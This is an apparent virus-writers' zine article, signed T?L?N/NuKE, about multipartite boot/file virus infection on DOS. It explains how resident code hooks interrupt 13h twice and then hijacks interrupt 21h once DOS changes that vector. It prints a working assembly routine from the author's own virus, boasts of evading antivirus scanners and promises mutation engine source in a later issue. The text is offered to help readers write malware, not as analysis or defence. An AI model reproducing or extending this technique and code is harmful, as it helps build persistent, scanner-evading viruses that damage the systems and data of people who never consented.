Multipartite Infection
~~~~~~~~~~~~~~~~~~~~~~

OK, you've seen them floating around... these whiz-bang you-bewt mongrel
viruses which never seem to go away, even after you disinfect every file
in existence... Huh... How the fuck did that come back?! Well it's really
quite simple, and I'm sure not all of you out there are complete idiots.
The fact is that the virus isn't even in any files! ...It's hiding in
the partition table, or the boot sector!

There are only a few viruses out there with the capability for
multipartite infection, or "boot/file virus". Tequila, Anthrax and
Invader are a few examples. My own creation, D�eM��n, is another, going
a step further than any other boot/file virus has ever gone before, by
infecting almost everything possible.

The principle is VERY simple, in fact I kicked myself when I worked out
a way to do it. The idea is simple, and it's the very same principle
employed in any other TSR method... to hook interrupt 21h (DOS). This is
fine. BUT the only hitch is that DOS automatically overwrites the old
vector when it loads! So there's no point hooking it as soon as your
code loads up off the disk. So what can we do?

We will obviously have to wait for DOS to change the interrupt, so we
can hook it. But there's one problem! Other stupid programmers were
being selfish and change the i21 pointer as a marker so that they can
tell if it's been changed... like Invader puts in a -1 in the IP value of
int 21h... so if something like DaeMaen is also on the sytem, it thinks
it's DOS changing the pointer, hooks it and crashes the entire system...

The way I waited for the pointer to change was to hook interrupt 13
TWICE! (huh?) Pretty simple. What I did was have my int-check routine
hooked onto i13 first, then my i13 handler over the top. The reason why
you can't have it the other way is that in case another "program" hooks
i13 over the top, and you can't disable your int-check routine... so
it'll keep re-hooking and fuck up the system. (You could do it with
flags, but I try and use as few flags as possible to keep code size down
to a minimum).

At boot-up, the program checks to see if it's already TSR (via an
illegal call to some interrupt, and checking the return code) and if it
isn't, it steals some memory (something F-Prot and friends can pick up,
but who gives a fuck, plus I can get around that now...<hehe>), hooks
int 13h with the int-check routine, hooks it again with our i13 handler,
then save the current interrupt 21h vector.  On every disk call, it
compares the value of i21 with the saved value... if it's different, the
int-check routine hooks it and then change the vector that our int 13h
handler calls, so it no longer calls our int-check routine but goes
straight to the real i13.

That's the essentials of boot/file management. Anyhow, here's the code
to do what I just said, as it appears in the source code of D�eM��n...

new13_2:        ; the guts of multipartite infection
               ; check to see if i21 has changed... if so, hook it
               call save                       ; save registers
               push cs
               pop es
               xor ax, ax
               mov ds, ax
               mov si, 21h*4
               mov di, offset oldvect+8
               cld
               cmpsw
               je nochange
               cmpsw
               je nochange
               call capture_21
               push cs
               pop ds
               mov si, offset oldvect+0        ; copy over other ptr so
               lea di, [si+4]                  ; that our i13 doesn't call
               movsw                           ; here any more [i21 has
               movsw                           ; been hooked]
nochange:       call restore                    ; restore registers
               jmp dword ptr cs:[oldvect+0]


This method can be used on either floppy boot sector infection or the HD
partition table infection.

As with many of my routines, stuff which took many other virus writers a
few pages of code took me one page... that's not bad! I have many other
goodies up my sleeve, like a 387-byte generic COM/EXE parasitic infector
on execution, the smallest of its kind in the WORLD... (with room for
improvement!).

Anyway, next InfoJournal will include the source codes to two of my
prerelease Mutation Engines, both of which are fully functional in their
own right. They have evolved far beyond my dreams, and I hope to have
the world's best mutation engine finished by the end of February/March.
(but it can't be the best at everything, but it sure generates a bucket
fuckload of arcane bullshit instructions.  Heuristical nightmare...)

Anyway, have fun screwing around with this little piece of research
material...

                       T�L�N/NuKE